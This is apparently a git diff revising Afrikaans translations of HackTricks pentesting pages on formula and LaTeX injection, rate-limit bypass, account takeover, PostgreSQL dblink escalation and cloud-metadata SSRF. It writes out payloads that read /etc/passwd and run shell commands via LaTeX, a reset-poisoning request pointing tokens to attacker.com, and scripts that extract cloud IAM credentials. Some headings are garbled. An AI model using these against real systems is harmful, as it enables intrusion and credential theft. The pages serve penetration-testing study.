1. **Inspuiting van Kwaadwillige Payload:**
- Die aanvaller dien 'n student besonderhede vorm in, maar sluit 'n formule in wat algemeen in sigblaaie gebruik word (bv. `=HYPERLINK("<malicious_link>","Click here")`).
- Die aanvaller dien 'n studentedetailvorm in, maar sluit 'n formule in wat algemeen in sigblaaie gebruik word (bv. `=HYPERLINK("<malicious_link>","Click here")`).
- Hierdie formule is ontwerp om 'n hyperlink te skep, maar dit wys na 'n kwaadwillige bediener wat deur die aanvaller beheer word.
2. **Exportering van Gecompromitteerde Data:**
- Onderwysers, onbewus van die kompromie, gebruik die toepassing se funksionaliteit om die data in 'n CSV-lêer te exporteer.
@ -79,11 +79,11 @@ Google Sheets bied funksies wat uitgebuit kan word vir OOB data exfiltrasie:
## LaTeX Inspuiting
Gewoonlik gebruik die bedieners wat op die internet gevind word wat **LaTeX kode na PDF** omskakel **`pdflatex`**.\
Gewoonlik gebruik die bedieners wat op die internet gevind word wat **LaTeX kode na PDF** **omskakel** **`pdflatex`**.\
Hierdie program gebruik 3 hoofkenmerke om (nie)opdraguitvoering toe te laat nie:
- **`--no-shell-escape`**: **Deaktiveer** die `\write18{command}` konstruksie, selfs al is dit geaktiveer in die texmf.cnf lêer.
- **`--shell-restricted`**: Dieselfde as `--shell-escape`, maar **beperk** tot 'n 'veilige' stel **voorgedefinieerde** \*\*opdragte (\*\*Op Ubuntu 16.04 is die lys in `/usr/share/texmf/web2c/texmf.cnf`).
- **`--shell-restricted`**: Dieselfde as `--shell-escape`, maar **beperk** tot 'n 'veilige' stel **vooraf gedefinieerde** **opdragte** (**Op Ubuntu 16.04 is die lys in `/usr/share/texmf/web2c/texmf.cnf`).
- **`--shell-escape`**: **Aktiveer** die `\write18{command}` konstruksie. Die opdrag kan enige skulpopdrag wees. Hierdie konstruksie word normaalweg om veiligheidsredes verbied.
Daar is egter ander maniere om opdragte uit te voer, so om RCE te vermy is dit baie belangrik om `--shell-restricted` te gebruik.
@ -106,7 +106,7 @@ Jy mag dalk die inspuiting met wrappers soos \[ of $ moet aanpas.
\text{\line}
\closein\file
```
#### Lees 'n veelvuldige lynlêer
#### Lees meervoudige lyn lêer
```bash
\newread\file
\openin\file=/etc/passwd
@ -148,7 +148,7 @@ Die invoer van die opdrag sal na stdin herlei word, gebruik 'n tydelike lêer om
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
As jy enige LaTex-fout kry, oorweeg dit om base64 te gebruik om die resultaat te kry sonder slegte karakters.
As jy enige LaTex-fout kry, oorweeg dit om base64 te gebruik om die resultaat te verkry sonder slegte karakters.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
@ -165,7 +165,7 @@ Van [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
## Ghostscript Inspuiting
**Kontroleer** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)

View File

@ -1,20 +1,20 @@
# Tariefbeperking Omseiling
# Rate Limit Bypass
{{#include ../banners/hacktricks-training.md}}
## Tegnieke vir tariefbeperking omseiling
## Rate limit bypass techniques
### Verkenning van soortgelyke eindpunte
### Exploring Similar Endpoints
Pogings moet gemaak word om brute force-aanvalle uit te voer op variasies van die geteikende eindpunt, soos `/api/v3/sign-up`, insluitend alternatiewe soos `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` ens.
### Invoeging van leë karakters in kode of parameters
### Incorporating Blank Characters in Code or Parameters
Die invoeging van leë bytes soos `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` in kode of parameters kan 'n nuttige strategie wees. Byvoorbeeld, om 'n parameter aan te pas na `code=1234%0a` stel gebruikers in staat om pogings uit te brei deur variasies in invoer, soos om nuwe reël karakters by 'n e-posadres te voeg om om te gaan met pogingbeperkings.
### Manipulasie van IP-oorsprong via koptekste
### Manipulating IP Origin via Headers
Die aanpassing van koptekste om die waargenome IP-oorsprong te verander kan help om IP-gebaseerde tariefbeperking te ontduik. Koptekste soos `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, insluitend die gebruik van meerdere instansies van `X-Forwarded-For`, kan aangepas word om versoeke van verskillende IP's te simuleer.
Die aanpassing van headers om die waargenome IP-oorsprong te verander kan help om IP-gebaseerde snelheidbeperkings te ontduik. Headers soos `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, insluitend die gebruik van meerdere instansies van `X-Forwarded-For`, kan aangepas word om versoeke van verskillende IP's te simuleer.
```bash
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
@ -30,26 +30,30 @@ X-Forwarded-For: 127.0.0.1
```
### Verandering van Ander Headers
Dit word aanbeveel om ander versoekheaders soos die user-agent en koekies te verander, aangesien hierdie ook gebruik kan word om versoekpatrone te identifiseer en te volg. Die verandering van hierdie headers kan voorkom dat die versoeker se aktiwiteite herken en gevolg word.
Dit word aanbeveel om ander versoekheaders soos die user-agent en koekies te verander, aangesien hierdie ook gebruik kan word om versoekpatrone te identifiseer en te volg. Die verandering van hierdie headers kan herkenning en opsporing van die versoeker se aktiwiteite voorkom.
### Benutting van API Gateway Gedrag
Sommige API-gateways is geconfigureer om spoedbeperkings toe te pas op grond van die kombinasie van eindpunt en parameters. Deur die parameterwaardes te varieer of nie-betekenisvolle parameters aan die versoek toe te voeg, is dit moontlik om die gateway se spoedbeperkingslogika te omseil, wat elke versoek uniek laat voorkom. Byvoorbeeld `/resetpwd?someparam=1`.
Sommige API-gateways is geconfigureer om koersbeperkings toe te pas op grond van die kombinasie van eindpunt en parameters. Deur die parameterwaardes te varieer of nie-betekenisvolle parameters aan die versoek toe te voeg, is dit moontlik om die gateway se koersbeperkingslogika te omseil, wat elke versoek uniek laat voorkom. Byvoorbeeld `/resetpwd?someparam=1`.
### Teken in op Jou Rekening Voor Elke Poging
### Inlog in Jou Rekening Voor Elke Poging
Teken in op 'n rekening voor elke poging, of elke stel pogings, kan die spoedbeperkings teller reset. Dit is veral nuttig wanneer jy inlogfunksies toets. Die gebruik van 'n Pitchfork-aanval in gereedskap soos Burp Suite, om akrediteer te roteer elke paar pogings en te verseker dat volg-omleidings gemerk is, kan effektief die spoedbeperkings tellers herbegin.
Inlog in 'n rekening voor elke poging, of elke stel pogings, kan die koersbeperkings teller reset. Dit is veral nuttig wanneer jy inlogfunksies toets. Die gebruik van 'n Pitchfork-aanval in gereedskap soos Burp Suite, om akrediteer te roteer elke paar pogings en te verseker dat volg-omleidings gemerk is, kan effektief koersbeperkings tellers herbegin.
### Benutting van Proxy Netwerke
Die ontplooiing van 'n netwerk van proxies om die versoeke oor verskeie IP-adresse te versprei, kan effektief IP-gebaseerde spoedbeperkings omseil. Deur verkeer deur verskeie proxies te lei, lyk elke versoek asof dit van 'n ander bron afkomstig is, wat die doeltreffendheid van die spoedbeperking verdun.
Die ontplooiing van 'n netwerk van proxies om die versoeke oor verskeie IP-adresse te versprei, kan effektief IP-gebaseerde koersbeperkings omseil. Deur verkeer deur verskeie proxies te lei, lyk elke versoek asof dit van 'n ander bron afkomstig is, wat die doeltreffendheid van die koersbeperking verdun.
### Verdeling van die Aanval oor Verskillende Rekeninge of Sessies
### Verdelen van die Aanval oor Verskillende Rekeninge of Sessies
As die teikenstelsel spoedbeperkings op 'n per-rekening of per-sessie basis toepas, kan die verspreiding van die aanval of toets oor verskeie rekening of sessies help om opsporing te vermy. Hierdie benadering vereis die bestuur van verskeie identiteite of sessietokens, maar kan effektief die las versprei om binne toelaatbare grense te bly.
As die teikenstelsel koersbeperkings op 'n per-rekening of per-sessie basis toepas, kan die verspreiding van die aanval of toets oor verskeie rekening of sessies help om opsporing te vermy. Hierdie benadering vereis die bestuur van verskeie identiteite of sessietokens, maar kan effektief die las versprei om binne toelaatbare grense te bly.
### Hou Aan Probeer
Let daarop dat selfs al is daar 'n spoedbeperking in plek, jy moet probeer om te sien of die reaksie anders is wanneer die geldige OTP gestuur word. In [**hierdie pos**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), het die foutjagter ontdek dat selfs al is 'n spoedbeperking geaktiveer na 20 onsuksesvolle pogings deur met 401 te antwoord, as die geldige een gestuur is, is 'n 200 reaksie ontvang.
Let daarop dat selfs al is daar 'n koersbeperking in plek, jy moet probeer om te sien of die reaksie verskil wanneer die geldige OTP gestuur word. In [**hierdie pos**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), het die foutjagter ontdek dat selfs al is 'n koersbeperking geaktiveer na 20 onsuksesvolle pogings deur met 401 te reageer, as die geldige een gestuur is, 'n 200 reaksie ontvang is.
### Gereedskap
- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz is 'n fuzzing-gereedskap wat ontwerp is om WAFs en CDNs te toets en te omseil. Deur gevorderde funksies soos ewekansige User-Agent en headerwaarde, ewekansige vertragings, multi-threading te hanteer, selektiewe chunking van woordlyste en Round Robin proxy-rotasie vir elke chunked, bied dit 'n robuuste oplossing vir sekuriteitsprofessionals wat daarop gemik is om kwesbaarhede in webtoepassings te identifiseer.
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Registrasie & Oorname Kwessies
# Registrasie & Oorname Kw vulnerabilities
{{#include ../banners/hacktricks-training.md}}
@ -10,7 +10,7 @@
- Kontroleer verskillende e-pos:
- hoofletters
- \+1@
- voeg 'n paar punte in die e-pos by
- voeg 'n punt in die e-pos by
- spesiale karakters in die e-pos naam (%00, %09, %20)
- Sit swart karakters na die e-pos: `test@test.com a`
- victim@gmail.com@attacker.com
@ -18,16 +18,16 @@
### Gebruikersnaam Enumerasie
Kontroleer of jy kan uitvind wanneer 'n gebruikersnaam reeds binne die toepassing geregistreer is.
Kontroleer of jy kan uitvind wanneer 'n gebruikersnaam reeds in die toepassing geregistreer is.
### Wagwoordbeleid
Skep 'n gebruiker en kontroleer die wagwoordbeleid (kontroleer of jy swak wagwoorde kan gebruik).\
In daardie geval kan jy probeer om akrediteer te brute-force.
### SQL Inspuiting
### SQL Inbraak
[**Kontroleer hierdie bladsy** ](sql-injection/index.html#insert-statement)om te leer hoe om rekeningoorname te probeer of inligting te onttrek via **SQL Inspuitings** in registrasievorms.
[**Kontroleer hierdie bladsy** ](sql-injection/index.html#insert-statement)om te leer hoe om rekeningoorname te probeer of inligting te onttrek via **SQL Inbrake** in registrasievorms.
### Oauth Oornames
@ -35,7 +35,7 @@ In daardie geval kan jy probeer om akrediteer te brute-force.
oauth-to-account-takeover.md
{{#endref}}
### SAML Kwessies
### SAML Kw vulnerabilities
{{#ref}}
saml-attacks/
@ -50,9 +50,9 @@ Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie
- Kontroleer of jy **weggooie e-posse** kan gebruik
- **Lang** **wagwoord** (>200) lei tot **DoS**
- **Kontroleer koerslimiete op rekeningcreasie**
- Gebruik username@**burp_collab**.net en analiseer die **callback**
- Gebruik username@**burp_collab**.net en analiseer die **terugroep**
## **Wagwoord Herstel Oorname**
## **Wagwoord Herstel Oornames**
### Wagwoord Herstel Token Lek Via Verwysing <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
@ -61,7 +61,7 @@ Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie
3. Moet nie wagwoord verander nie
4. Klik op enige 3de party webwerwe (bv: Facebook, twitter)
5. Intercepteer die versoek in Burp Suite proxy
6. Kontroleer of die verwysingskop lêer die wagwoord herstel token lek.
6. Kontroleer of die verwysingskop lek wagwoord herstel token.
### Wagwoord Herstel Besmetting <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
@ -69,10 +69,10 @@ Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie
2. Voeg of wysig die volgende koppe in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Stuur die versoek met die gewysigde kop\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Soek vir 'n wagwoord herstel URL gebaseer op die _host kop_ soos : `https://attacker.com/reset-password.php?token=TOKEN`
4. Soek vir 'n wagwoord herstel URL gebaseer op die _host header_ soos : `https://attacker.com/reset-password.php?token=TOKEN`
### Wagwoord Herstel Via E-pos Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -92,34 +92,34 @@ email=victim@mail.com|hacker@mail.com
1. Aanvaller moet met hul rekening aanmeld en na die **Verander wagwoord** funksie gaan.
2. Begin die Burp Suite en onderskep die versoek.
3. Stuur dit na die herhaler tab en wysig die parameters : Gebruiker ID/e-pos\
3. Stuur dit na die herhaler tab en wysig die parameters: User ID/e-pos\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Swak Wagwoord Herstel Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Die wagwoord herstel token moet ewekansig gegenereer en uniek wees elke keer.\
Probeer om te bepaal of die token verval of as dit altyd dieselfde is, in sommige gevalle is die generasie-algoritme swak en kan dit geraai word. Die volgende veranderlikes mag deur die algoritme gebruik word.
Probeer om te bepaal of die token verval of as dit altyd dieselfde is; in sommige gevalle is die generasie-algoritme swak en kan dit geraai word. Die volgende veranderlikes mag deur die algoritme gebruik word.
- Tydstempel
- GebruikerID
- E-pos van Gebruiker
- UserID
- E-pos van gebruiker
- Voornaam en Van
- Geboortedatum
- Kriptografie
- Slegs nommers
- Klein token volgorde ( karakters tussen \[A-Z,a-z,0-9])
- Slegs nommer
- Klein token volgorde (karakters tussen \[A-Z,a-z,0-9])
- Token hergebruik
- Token vervaldatum
### Lekke Wagwoord Herstel Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Trigger 'n wagwoord herstel versoek deur die API/UI vir 'n spesifieke e-pos bv: test@mail.com
1. Trigger 'n wagwoord herstel versoek deur die API/UI vir 'n spesifieke e-pos, bv: test@mail.com
2. Ondersoek die bediener se antwoord en kyk vir `resetToken`
3. Gebruik dan die token in 'n URL soos `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Wagwoord Herstel Via Gebruikersnaam Botsing <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
### Wagwoord Herstel Deur Gebruikersnaam Botsing <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Registreer op die stelsel met 'n gebruikersnaam wat identies is aan die slagoffer se gebruikersnaam, maar met spasiëring voor en/of na die gebruikersnaam. bv: `"admin "`
1. Registreer op die stelsel met 'n gebruikersnaam wat identies is aan die slagoffer se gebruikersnaam, maar met spasie voor en/of na die gebruikersnaam ingevoeg. bv: `"admin "`
2. Versoek 'n wagwoord herstel met jou kwaadwillige gebruikersnaam.
3. Gebruik die token wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord.
4. Sluit aan by die slagoffer se rekening met die nuwe wagwoord.
@ -127,13 +127,13 @@ Probeer om te bepaal of die token verval of as dit altyd dieselfde is, in sommig
Die platform CTFd was kwesbaar vir hierdie aanval.\
Sien: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Rekening Oorname Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
### Rekening Oorname Deur Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Vind 'n XSS binne die toepassing of 'n subdomein as die koekies na die ouer domein gescope is : `*.domain.com`
1. Vind 'n XSS binne die toepassing of 'n subdomein as die koekies op die ouerdomein gescope is: `*.domain.com`
2. Lek die huidige **sessies koekie**
3. Verifieer as die gebruiker met behulp van die koekie
### Rekening Oorname Via HTTP Versoek Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
### Rekening Oorname Deur HTTP Versoek Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Gebruik **smuggler** om die tipe HTTP Versoek Smuggling (CL, TE, CL.TE) te detecteer\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
@ -155,12 +155,12 @@ Hackerone verslae wat hierdie fout benut\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Rekening Oorname via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### Rekening Oorneming via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Skep 'n payload vir die CSRF, bv: “HTML vorm met outomatiese indiening vir 'n wagwoord verandering”
2. Stuur die payload
### Rekening Oorname via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### Rekening Oorneming via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token mag gebruik word om 'n gebruiker te verifieer.

View File

@ -12,11 +12,11 @@ Sodra jy dblink gelaai het, kan jy 'n paar interessante truuks uitvoer:
### Privilege Escalation
Die lêer `pg_hba.conf` kan sleg geconfigureer wees **wat verbindings** vanaf **localhost as enige gebruiker** toelaat sonder om die wagwoord te ken. Hierdie lêer kan tipies gevind word in `/etc/postgresql/12/main/pg_hba.conf` en 'n slegte konfigurasie lyk soos:
Die lêer `pg_hba.conf` kan sleg geconfigureer wees **wat verbindings** vanaf **localhost as enige gebruiker** toelaat sonder om die wagwoord te hoef te ken. Hierdie lêer kan tipies gevind word in `/etc/postgresql/12/main/pg_hba.conf` en 'n slegte konfigurasie lyk soos:
```
local all all trust
```
_Note dat hierdie konfigurasie algemeen gebruik word om die wagwoord van 'n db-gebruiker te verander wanneer die admin dit vergeet, so soms mag jy dit vind._\
_Note dat hierdie konfigurasie algemeen gebruik word om die wagwoord van 'n db-gebruiker te wysig wanneer die admin dit vergeet, so soms mag jy dit vind._\
_Note ook dat die lêer pg_hba.conf slegs deur die postgres-gebruiker en -groep leesbaar is en slegs deur die postgres-gebruiker skryfbaar is._
Hierdie geval is **nuttig as** jy **reeds** 'n **shell** binne die slagoffer het, aangesien dit jou sal toelaat om met die postgresql-databasis te verbind.
@ -26,7 +26,7 @@ Hierdie geval is **nuttig as** jy **reeds** 'n **shell** binne die slagoffer het
host all all 127.0.0.1/32 trust
```
Aangesien dit almal van die localhost sal toelaat om as enige gebruiker met die databasis te verbind.\
In hierdie geval en as die **`dblink`** funksie **werk**, kan jy **privileges opgradeer** deur met die databasis te verbind deur 'n reeds gevestigde verbinding en toegang tot data wat nie toegang behoort te hê nie:
In hierdie geval en as die **`dblink`** funksie **werk**, kan jy **privileges opgradeer** deur met die databasis te verbind deur 'n reeds gevestigde verbinding en toegang tot data wat jy nie behoort te kan toegang nie:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -69,7 +69,7 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
Let daarop dat **voor** jy in staat is om `dblink_connect` of `dblink_connect_u` te gebruik, jy dalk moet uitvoer:
Let daarop dat **voor** jy `dblink_connect` of `dblink_connect_u` kan gebruik, jy dalk moet uitvoer:
```
CREATE extension dblink;
```

View File

@ -13,7 +13,7 @@ Daar is **2 weergawes** van die metadata eindpunt. Die **eerste** een laat toe o
> [!CAUTION]
> Let daarop dat as die EC2 instansie IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry.
>
> Boonop sal **IMDSv2** ook **versoeke blokkeer om 'n token te verkry wat die `X-Forwarded-For` kop insluit**. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang daartoe kan verkry.
> Boonop sal **IMDSv2** ook **versoeke blokkeer om 'n token te verkry wat die `X-Forwarded-For` kop bevat**. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang kan verkry.
Jy kan inligting oor die [metadata eindpunte in die dokumentasie vind](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In die volgende skrip word 'n paar interessante inligting daaruit verkry:
```bash
@ -75,13 +75,13 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
As 'n **openlik beskikbare IAM-akkrediteerings** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
As 'n **openlik beskikbare IAM geloofsbriewe** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Jy kan ook publieke **EC2-sekuriteitsakkrediteerings** nagaan in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Jy kan ook openbare **EC2 sekuriteitsgeloofsbriewe** nagaan in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Jy kan dan **daardie akkrediteerings neem en dit saam met die AWS CLI gebruik**. Dit sal jou toelaat om **enige iets te doen wat daardie rol toestemming het** om te doen.
Jy kan dan **daardie geloofsbriewe neem en dit saam met die AWS CLI gebruik**. Dit sal jou toelaat om **enige iets te doen wat daardie rol toestemming het** om te doen.
Om voordeel te trek uit die nuwe akkrediteerings, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een:
Om voordeel te trek uit die nuwe geloofsbriewe, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een:
```
[profilename]
aws_access_key_id = ASIA6GG71[...]
@ -97,13 +97,13 @@ Let op die **aws_session_token**, dit is onontbeerlik vir die profiel om te werk
**ECS** is 'n logiese groep van EC2-instanties waarop jy 'n toepassing kan uitvoer sonder om jou eie klusterbestuursinfrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in **ECS** loop te kompromitteer, sal die **metadata eindpunte verander**.
As jy _**http://169.254.170.2/v2/credentials/\<GUID>**_ toegang verkry, sal jy die geloofsbriewe van die ECS-masjien vind. Maar eers moet jy die **\<GUID>** vind. Om die \<GUID> te vind, moet jy die **environ** veranderlike **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** binne die masjien lees.\
Jy kan dit dalk lees deur 'n **Path Traversal** te benut na `file:///proc/self/environ`\
Jy kan dit dalk lees deur 'n **Path Traversal** na `file:///proc/self/environ` te benut.\
Die genoemde http adres behoort jou die **AccessKey, SecretKey en token** te gee.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> Let daarop dat jy in **sommige gevalle** toegang tot die **EC2 metadata instansie** vanaf die houer sal hê (kyk na die IMDSv2 TTL beperkings wat vroeër genoem is). In hierdie scenario's kan jy vanaf die houer toegang tot beide die houer IAM rol en die EC2 IAM rol kry.
> Let daarop dat jy in **sommige gevalle** toegang tot die **EC2 metadata instansie** vanaf die houer sal hê (kyk na die IMDSv2 TTL beperkings wat vroeër genoem is). In hierdie scenario's kan jy vanaf die houer toegang tot beide die houer IAM rol en die EC2 IAM rol verkry.
### SSRF vir AWS Lambda
@ -118,7 +118,7 @@ Die **name** van die **interessante omgewingsveranderlikes** is:
Boonop, benewens IAM bewese, het Lambda funksies ook **gebeurtenisdata wat aan die funksie oorgedra word wanneer dit begin**. Hierdie data is beskikbaar vir die funksie via die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) en kan **sensitiewe** **inligting** bevat (soos binne die **stageVariables**). Anders as IAM bewese, is hierdie data toeganklik oor standaard SSRF by **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
> [!WARNING]
> Let daarop dat **lambda bewese** binne die **omgewingsveranderlikes** is. So as die **stack trace** van die lambda kode omgewingsveranderlikes druk, is dit moontlik om hulle te **exfiltreer deur 'n fout** in die toepassing te veroorsaak.
> Let daarop dat **lambda bewese** binne die **omgewingsveranderlikes** is. So as die **stack trace** van die lambda kode omgewingsveranderlikes druk, is dit moontlik om hulle te **exfiltreer deur 'n fout** in die app te veroorsaak.
### SSRF URL vir AWS Elastic Beanstalk
@ -127,7 +127,7 @@ Ons verkry die `accountId` en `region` vanaf die API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
Ons haal dan die `AccessKeyId`, `SecretAccessKey`, en `Token` van die API.
Ons haal dan die `AccessKeyId`, `SecretAccessKey`, en `Token` van die API af.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
@ -226,7 +226,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta vereis NIE 'n kop nie (dankie Mathias Karlsson @avlidienbrunn)
Beta vereis NIE 'n kopstuk nie (dankie Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
```
### Cloud Functions
Die metadata-eindpunt werk dieselfde as in VMs, maar sonder sommige eindpunte:
Die metadata-eindpunt werk dieselfde as in VM's, maar sonder sommige eindpunte:
```bash
# /project
# Project name and number
@ -325,13 +325,13 @@ curl http://169.254.169.254/metadata/v1.json | jq
> [!TIP]
> 'n Azure VM kan 1 stelsel bestuurde identiteit en verskeie gebruikers bestuurde identiteite hê. Dit beteken basies dat jy **alle bestuurde identiteite wat aan 'n VM gekoppel is, kan naboots**.
>
> Deur **verstek** sal die metadata-eindpunt die **stelsel toegewyde MI (indien enige)** gebruik.
> Wanneer jy 'n toegangstoken vir die metadata-eindpunt aan vra, sal die metadata-diens standaard die **stelsel toegewyde bestuurde identiteit** gebruik om die token te genereer, as daar enige stelsel toegewyde bestuurde identiteit is. As daar net **EEN gebruikers toegewyde bestuurde identiteit** is, sal dit standaard gebruik word. As daar egter geen stelsel toegewyde bestuurde identiteit is nie en daar **meerdere gebruikers toegewyde bestuurde identiteite** is, sal die metadata-diens 'n fout teruggee wat aandui dat daar meerdere bestuurde identiteite is en dit nodig is om **te spesifiseer watter een om te gebruik**.
>
> Ongelukkig kon ek nie enige metadata-eindpunt vind wat al die MI's aandui wat 'n VM gekoppel het nie.
> Ongelukkig kon ek nie enige metadata-eindpunt vind wat al die MI's wat 'n VM het, aandui nie, so om al die toegewyde bestuurde identiteite aan 'n VM uit te vind, kan 'n moeilike taak wees vanuit 'n Red Team perspektief.
>
> Daarom, om al die gekoppelde MI's te vind, kan jy doen:
> Daarom, om al die aangehegte MI's te vind, kan jy doen:
>
> - Kry **gekoppelde identiteite met az cli** (as jy reeds 'n prinsiep in die Azure-huurder gecompromitteer het)
> - Kry **aangehegte identiteite met az cli** (as jy reeds 'n prinsiep in die Azure-huurder gecompromitteer het)
>
> ```bash
> az vm identity show \
@ -339,7 +339,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
> --name <vm-name>
> ```
>
> - Kry **gekoppelde identiteite** met die standaard gekoppelde MI in die metadata:
> - Kry **aangehegte identiteite** deur die standaard aangehegte MI in die metadata te gebruik:
>
> ```bash
> export API_VERSION="2021-12-13"
@ -357,7 +357,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Probeer om gekoppelde MI's te kry
> # Probeer om aangehegte MI's te kry
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
